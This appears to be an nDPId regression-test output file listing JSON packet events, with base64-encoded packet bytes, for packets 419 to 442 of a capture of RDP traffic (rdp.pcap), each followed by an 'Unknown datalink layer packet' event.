+00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":419,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466388,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AZxHm0+kUBAf9LD7AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":419,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":420,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466479,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgTEAAfwYki8CoAo6sEAK5DT3NDkebT9n5vQC4UBD4QJ1kAAAXAwMGbwAAAAAAAAB7n8OusLj1QfPmkKMqfhMd9hu8t9njGVflMnprATl0u8EkWAOz8HyDeav2F9lLtBjnMd\/CRaaZJFOSpcyFDg3zGgGQ2NWsrDCt03K+aGUU0xxUCjyu17MoUMwcCvSTK7nBB8r63yzq7IsmRk947XEMOT4F9Vj+A1dzjX\/cKs2yj3o1UzkLf7k8Fc0TtnKCxmrm5zoV7k6wmL3j8j3eSBQCYpLZB9oHmUSmrf4ZofbCaRNqDGaUZkUAJabl0rxP9Q8v\/RkVyehDdQ0CQ\/gw5dXP5aqh8OMmCLUJEST0jp44jqhSN0Ua10EV1L1uySuzk8\/WSyiblmEUdKTxBw3PpWVhxWOsu0wLM9xa5r2pEUFnckXFi1ogeoZxTSHxs9rsLfHJShggy5j9ZNkIZ0Kgy3OAB9q3OxYWISbf3ah5T8XPTXAybqbsSiuyu4TD5RoVhtkYemRvOQX0PC10t1laqGkuDT7zREKkkjqp54GL9uuGyqsJSlJmlmf3K1f1YUsWLJTgmDfTU6RyzZjkqxNswyyKsDlCP8yyrkYMhPzCR+gX11seYi5L03fzOPzZC\/Bmf6mMeANn0YdJVxQDEqXLbEtUwBusU\/bRHghF6u6Sw2mHk9Lg\/Z6TJF6D11TA5t6dHFA4TnINSaY8hLhPTHqembf10qYCFGVkquwIY+wTDhzbjHahExTHZFoUJvXdoKtikHvqMldEM2MrMDJFYQMyG83W1wg1jfXSXMIEvn+R0VQRxpQ0JJGVhV\/7CbGxibCCyJU4h8BU14ZEmyyjx6tega8c2jKe7vka4tmz98m+wQyUHsUxFIGIi5WydhgK5OurONMWgkrUCmufgO5Eshme\/k1bYl6b\/fJhRVEhULlWUTaRR6\/fw550piBTIlUMTF8SO0dvt0kx\/FM0xe5ryQphTe6xazZb29od+KYRseH2sz96hUlvrOUuQVM8dP284L9etfcS+ADC03hwDscNmWFb71cqsjswbDXWCbzunCC6OLa4xdvOKwQYfFiZYY0GUgFuNZ0RgmO6NwkoQCaKqZFIvpN2Lwj5cDgatMV6WhejedvyqpUPepOpLX4j+BbCL\/JqSTcfOS4w7R4sO2FjiK0hSTYIa+5s+Y1PPNJsZmluubMgkGGQPB+HjxReqN1bXD\/CwsBfb+ER889U4fZSQtO4PvjhnHBFht3kHe4ehh9OpbZByQ5qwrxQFUsJeAqcv7mZIOXXocIQkdmvhU3SF2\/jJcGp6TULBuB3dzY79N86neoGkgUvUswOkh5b3FvyjexDhUpK9WWzn0oO+OAPp3T1Z8LjJXC93RjroAtnC6lBFDB4+hCs\/YU54kvep1QMSOKcMHzZkBj+0cRWCewIKs7CspHvdNsxpfSJnGrrRiiYEQxFHUfrK4ALM\/Ndt72Mf+WNR\/1QVkjeHpXduQAtUUDZqT0CXx4hrrzaAQoGSww3bXOHoiCPIiELqNORiLmEfY891dQNJ2212tWRS+bic3Abl\/Y9Eq20yZcU6dA\/7MqrqZCSZlxIgZBxSZWLSgiD5MZPMgUZ\/A6\/04DQr5fiJF1gh\/J4jx4UuPv1WYbQ43JMSD7E2eXvgknOxth1MzMa9TUuQXJI2Fh9K67eFvyCne9BIVdYG4jRHeohBTZZKyJrLbSB0gUBqaLAqa3ztHYp+VK8hMwbr\/1vzh7kD0AZ\/RVy"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":420,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00857{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":421,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466519,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgTUAAfwYoCMCoAo6sEAK5DT3NDkebVNL5vQC4UBj4QFQmAACWuD6oahciDYyuVQiZUQsZHHFl7QNrqKXDICVKqMUjketcOT8GcaRPlTlnPpiCs8sP5fGFIln38UpQdvBle64Wn7fuU86CxXalWsLUJX46+ZAjN62aY08m1GUR6JEFcW4N1GEnxZzmIaznCkFWwibjpL2kSPCuRLfiCKhFMLLWgdc+TXyCg5slwfP3lwnXB+c6hJAuWVnaSo847lY3sH982pqeNvBc3FpwKHmFK7CfrvVFYzJ3j\/x4RamqxKUZ7cQ9xUAwnil2Zbb7uEBZL3y8fEE1NuJJvzb0V1DOk+OjWNCGVTBa3BVdhbYXMcvGj1iN4hacdQkTTHBB3CGlp6L5uKqGgZsZJ3VXgotRUxBdhZQFxoKCPPbgi6zriqPqJQgffwse99jyuc3Umkoo8JKD88JuD9Xnnnjaz34ceE1cshtfapTQ8GnRrfZR0AUkXzO8zrcvVSyK0xT+dAOvzRC0jzxmnc+4AHTZbmwbYsurIP6HP1rgzBdxwTCM"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":421,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":422,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466535,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AZxHm0\/ZUBAf\/rC8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":422,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":423,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466672,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gTkAAfwYpTcCoAo6sEAK5DT3NDkebVk35vQC4UBj4QKeWAAAXAwMAMAAAAAAAAAB8\/qHglTzbfG+mIcipYYMkJ5ceTxQZccEESGImMbkoFsDdur4w0\/AWaw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":423,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":424,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466695,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AZxHm1ZNUBAf9KpSAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":424,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":425,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466814,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gT0AAfwYpTMCoAo6sEAK5DT3NDkebVoL5vQC4UBj4QFbuAAAXAwMAMAAAAAAAAAB92ULyb+ZFBm1IzPIMUjxBA26v4HgjsYdjawZ66myfrCNomGI4IyAYVA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":425,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":426,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466836,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9AZxHm1ZNUBggAHA8AAAXAwMAMOAIO32NJwuqVYvnWp\/62iRJr2u2U0njJbaYbENo5rcuu9RdKN7ZWjDiIRhsZNd+Xw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":426,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":427,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":466976,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gUEAAfwYpS8CoAo6sEAK5DT3NDkebVrf5vQC4UBj4QId3AAAXAwMAMAAAAAAAAAB+4Glzgvikt+6wrmQA3KW9jNfLoezEvCCFQZv35TNDWzui01FuJFvUiQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":427,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":428,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":467020,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AdFHm1aCUBAf\/qneAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":428,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":429,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":467120,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AdFHm1a3UBAf\/qmpAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":429,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02086{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":430,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":467216,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgUUAAfwYkhsCoAo6sEAK5DT3NDkebVuz5vQC4UBD4QIw4AAAXAwMGbwAAAAAAAAB\/1NtaSSb3M238lGVGdEIKXDxAbESpss+JNvUQgPrp25vFDhuMrSqaxNA0y\/\/JfQeabRJVoY3Y1MR7\/xO2wZXQAx1b7KBCb9RF1mjPLmTXhVyIJLZSLSt7N1+xjRaURe1ndcrBaLrYySD0h8q+S6mihFyWmSA8UpBQ3FCauR6ilFFIgPc\/lIEcZtLvWkYwO3KUE95FEd0VmSvng1z52bIwmm\/Eo0JQG3Kq56rbJmeKzjSq6o4M6ZykHV\/ZZDUT5hzR4\/pXfgCF+8rmQGGoILq9jfgHKgn\/JgLW59N7dhI2WD\/fFbr1ko\/TL3DFkhJZ\/z49zM89msmTiuJGVw9+ezIx1bP\/dlYV70NiM\/Flt7PkdufEiB5b9XjUU+KitvmE3s+lw4Kz5oEKmRx5VHMdyTv5lAyDP4mOK0PqsK+sDxWEURbfBWmy4WhXDnkz+22otQMafFfGJCWeHEUc9tnuc7iNbyi753RghC9wKWpSP0W8VZb0znowVgaitNzX+7q+DT2Z5VSxZcZrtF8LkkW9femou\/YRZLjxbwh8fdRTd7IUJWk+o5Ax5hIvwB\/jI5D\/yRGfaHDqk5IZYPr1Ewx2S8Jjk\/cD6yqdiWeJUil\/ZZ8HfLPdvABxHV4+wL\/59UJrOz6UuLe0NfprzsWodoLHpAgqK5lIeq3DdFlO6M\/om2W\/FsUM7NgylTKmV30FoxLtxH3hrm8AvQsJMu18S8pRveLpQ6jfgQwBHElfljauobP\/eY2O94S10A7hcY4LnpKO9tPxi6aIpWpEo0Q6Ilc0tJrYwaluUqL2V9v6Fp4VQzhDXiXteKq+EXS5nyq2Qxo90EVmFkC9CI6UMVnMgKYSZ1Ul1j+84MNixxGob1GGDPCgtcvksf726bGl0N5LknKkkv+B\/QLx2xDVGOVu9wGt6H\/6yH71yVIqIUnYzvbD2\/qIP6F3mzTmTkX3QpwtkwGpTsbIYW9NoFlKMYYYcBHDt7swmX+\/KWmFWdhRHxjukycaHopv6u++pF633\/5fNCRVYqwQFFDhOQUBBFcLla1a6SVPT0mBawi9RmdqU42\/Q1bfcVOE4bIl\/gWniBPMrYlw4n9Quczow8ds\/1nhd5yMdU74pqaPISfUvjadYRPhlcfjJqpG\/G2YxFL6xGSYq5r89m17U2Rf\/vcVo4YYUSfnwe4l3XZ74W8noF7v2MHW6LsBu3pGj46axicWW4v\/vHpZq9zQdbDz1xiASQ4Nk0GvSizF283RbpJETzzLP6+9AQktKTpdIYQ3Lr4mX1Tn8Fm1hRBn5YySgyEQ9sXZJNDhg\/4YvN8BlKd16rAkyLnwKgocVoie1PFfFFuzHXRy+QDXuglfztatP5oNWrlnUvz7Clm8RRSwogkuzFkm3JiCs+2AxhwnvJE5S7eMsem3i50cVMN3P2Zx6WG4lRZMXKesBQsuUMla1biSqNT8R1iQwiYRhgDA6vW+NGEZ5sCbTb0r9W0KTCAxJnIl1ImZujvXIrVVAMSXUS7ztZ9UX9kxXr56vv59qU9AzxU4znkiF7RA4t4u5y0DKmNDN8AVvFPoTZhGhgeIJLZ0SotK9xH+1e\/5oNgz8w3m5t8CkAiVScqZGyL+CQtF6r1K3nvSrK5C+nOm6+qNTsJJZzgPQivFNLxfHZSUV8TxtYIdxB6I07TznsvMBdsR8wqLCThjxOEY"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":430,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":431,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":467259,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgUkAAfwYoA8CoAo6sEAK5DT3NDkebW+X5vQC4UBj4QEZPAACzXyGoe0KbBgqaYw7WTfg2m\/wfmLKWbhMPsZh\/tW3Yle6gUUj\/+6EqtG9v6gNdXrgW5Cgw4wKcMJTp9qJ9m2KmMDg96Mld90CbKU3FkzLavMZMt41TiBibDVCf9ljDbZWjGKMe4sJzJPMBZMTtyJVEP1iTPZ2GO0wQ+2F8JOLAl474lBWptAW5rGuHEjq0BbhwFbmlX3H7QVdsnkFQKcLWL16motdBrnsxSgUed36dEgNju3\/TBeqD0PmfPHvtSQsTJ053NssRQz1jc3uiqbyTpb+ANk4\/oahlGTAWVp4qaMZeSqPgm5iQ\/WDvT2DV799tVkuaKiT94XPf8iyOUAoQ5gMxWvyCVTjTvhPxyGpuopAfJ\/tWVIEk6C1KIXcql3fc0Gn5E\/pHy3D+V1vT43rigf8GWnLnNtT2NJuqYaxudl+7moFjdB6Gpm4pdFcwN3Z9f5j14GNo4S4nJbyfwZTMhi6cC\/6Ty8l3M\/ShVaUwzVrTruDQD0\/I4ElS"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":431,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":432,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":467283,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9AdFHm1a3UBggABSaAAAXAwMAOOAIO32NJwurxu2CQALU1Smuo\/7sJzcgX+xZJYpJIZiAv0D2sV++nSmyM33Ii+fY\/L3+NYGnMiSj"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":432,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":433,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":467398,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gU0AAfwYpSMCoAo6sEAK5DT3NDkebXWD5vQC4UBj4QPkiAAAXAwMAMAAAAAAAAACANwlNIf5uhvlDXTa2NKSOd8miEoHQ1U\/oaWhxWt5kY1ZGHYa2nNypNQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":433,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":434,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":467435,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Ag5Hm1bsUBAf\/qk3AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":434,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":435,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":467534,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9Ag5Hm1bsUBggADeNAAAXAwMAMOAIO32NJwusqfE7HTvTHjsRnQXoN3zkD9sl+oiA8a3z59XskRmBE7Boiksk5Oui1w=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":435,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":436,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":467622,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AkNHm11gUBAf9KKYAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":436,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":437,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":467693,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AkNHm12VUBAf\/qJZAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":437,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":438,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":467767,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9AkNHm12VUBggAAvrAAAXAwMAMOAIO32NJwuts02+cK41ezVE54wAZyZ0Wxa0ROxIFIJT0NKheC3kBsXHZcdMgP1TsQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":438,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02073{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":439,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":471066,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgVEAAfwYkg8CoAo6sEAK5DT3NDkebXZX5vQC4UBD4QO\/tAAAXAwMGbwAAAAAAAACB7oFmfpJyCZl3hVrvsy4S2WL3nm3WXkaXZTlV9ksRobOlF6DjFVL5gyoNvgp+XV6h6Pm3cg9MWtI2drAtJCXLMOqbL\/WiHp\/InyQr6Yc5HdjF4eh83cYvMFs75XvfjnonlbXYteiOy\/Ibx0bw+KUO2EfAomAtfi5\/CCOC5x2xtDBIBNwjw5QgUalS0J21tWL7HFWkGT0nlPJ4TxGtd5TSHnCQmSczYwzmFZGapiG0tbWn4bSNTk9V1e0Faq74FQ2GTw6UanBgiR74KNwATFQCSQLjgwNL0sdse\/2fAP0MIqh\/vXKpu5iDRgLGTTTfuVMY3zYCZxyRupPgU99EGh8BHveymbXVrKxcCA2r99CAH31n8RUl3lYqCHQLcP3vm+EcHe4yf6M4gJG8+Wp1XidKaZv3OXH6eGXGqr+KOSNJ2NqhD2bclzCjNj1SQaKpb\/1mQEJPSMetqrPlyaPeIZSSo3SLcDpr\/qtOi13jEp77VcB1\/fYVWBwBe2FpDcyzhlYC+2CIAPAHM1+Cnd9yfBB6YlZZhcFLDYq10aa638CqtWboZglyoirjGty4E+Rb9KggDnW89+lPU9DIGWkj27Gkliu6Nj2xKD3ZX7U6VkPY1syg6XyvoBFnksvznzc24NZUfrL6GHRm\/XehXSRFP0hC\/fF2TBE0ueQRUT3Nmt\/dJt3aZBcoukc\/I89dr0NvNrFu+MQSNRwrjG0ImplfXe4pd8BhRPNH8oVM\/j\/gubDl6mzoD0f558C6qZmszp0lXCKaEI8hiuoqhEBs+z6TBqbcaUJjlyvNr9EwBCLUdsKwPLPPsRwZb7hjAkePb5T2RlpgisKpOOzvOyj0MPc65+MyCvzQU1Nx8Jv4jj03U4okaepSoLQxxnvr6JRge4YesTHB+mMj16OIFeAU2m5\/LJRPnI0FSqUBrWpvU3UPIjKUVaoBYQUci3N2o+EI2lxn2cjV2dKPS2DzLOSeLIOzJXyEg16WB8ELKS7sfXuv+plAkKFp9e1AK5qJAfLVKRrcA5bLMpce0T8IVF+7HLmNyVsatimDgae9QpmSIxgTOXaZcFx9ofjsE583xzosWJBG4KdXspuZZK8ohB0IiaI5lmRuADAuAS8K2FPYAPpRNEzd6PfhoF1aX8O9zE2nGE16xaLr8voOaJPEUdgzJFTYIVjU1mNJXT5bKD6kEy4BpXFyR0lVdwllgHUKsKFKJvietmXdhDfVwSD8vSq5kCH7RiteA0Qxx9MX87Pkj6tvzrZ6sgMllde8lgJ3tn2zCCnVXnErhzgKtKOmI0XraiFy1oejElzudkRvolgH1kEwYZPqNc3THJWcCyiHfsnw\/E3hwZ5nlfIjV\/ONXD3zohqS6kRNryWnsF1ry+cRFCKZOAOpP\/YucAf5zj67jh5lGndjsKREGAdFTH4NUR5zopMrcCcHMMdgNG3DV+c5fxDn1n5FevFbflnY\/HVdyzcjv+cROtdYjdLRUeMMqxkM8WhEebu+TZ8GeO0VWIdsO56mOBrUw+cpjgfwGtLtG16G1MJ0vDBsVGPsBs+xqWhZ4CCnjZw3ezI4qxn1st48zYYEG+osl86dInAr1tm8KNKEKWQXmdGnbAl4Xop7lm\/55yBsSo7\/nVFjUqmgKWBNlKufhGsDvPfjTCKvY5XdVsmOPgfzZrOmW1pG9wU8jaFToFxs"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":439,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":440,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":471115,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgVUAAfwYoAMCoAo6sEAK5DT3NDkebYo75vQC4UBj4QLJLAABX3voGG4FDbXIw7s+YjnmP8itLcO+BEgxaVB0G3FK+ejmNQ36n1XPyBHoDN4eFqVa\/xwm9+Ij\/rIdl0r9d\/\/cxnLjyRJD3NBc\/iD9CrvFTvaVaPOMFEBiplkUf1F2lbYHOSAubBQKd7u9b5qnxzxb2ZxPAcIdMRh6dt3STi7RUiUuA0u0I5WJ6ZaJt1ZRTnRQCKiABhBSejSD4VXxa\/bMzwHazybkJJu4d2e5OMMMHyBjNjLnez3sY1nRZdBe\/HXiWbnQW1KAsZ+6omh7C1jukOwD2tu8Ajq+Lr0EPAYN39mYAxlz8VZ26lTekSjFh9GnndpT0hmQMO+TwYfM9nHUZERQ6f1iNejh8dVRZZ5w\/PWqT5uUZcOX0QkgmB52fFEW\/5s8mBV3zWIRsvhYlI47qInb8m6orhhkcJemEL4HdpTWx\/WoEtdjm+\/9evPeFSWIreI4Uc2wWexypMGXy8QfMokmdsK66Wr4o9cfKmSu5vJiNkjkDnAe08IDo"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":440,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":441,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":471146,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AnhHm2QJUBAf9Ju6AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":441,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":442,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":471174,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gVkAAfwYpRcCoAo6sEAK5DT3NDkebZAn5vQC4UBj4QJtTAAAXAwMAMAAAAAAAAACCi5s6SnTxstkqUnAQmkm9RH9M7tGmloEY2Gfq866IuL11J8t35YLTKQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":442,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 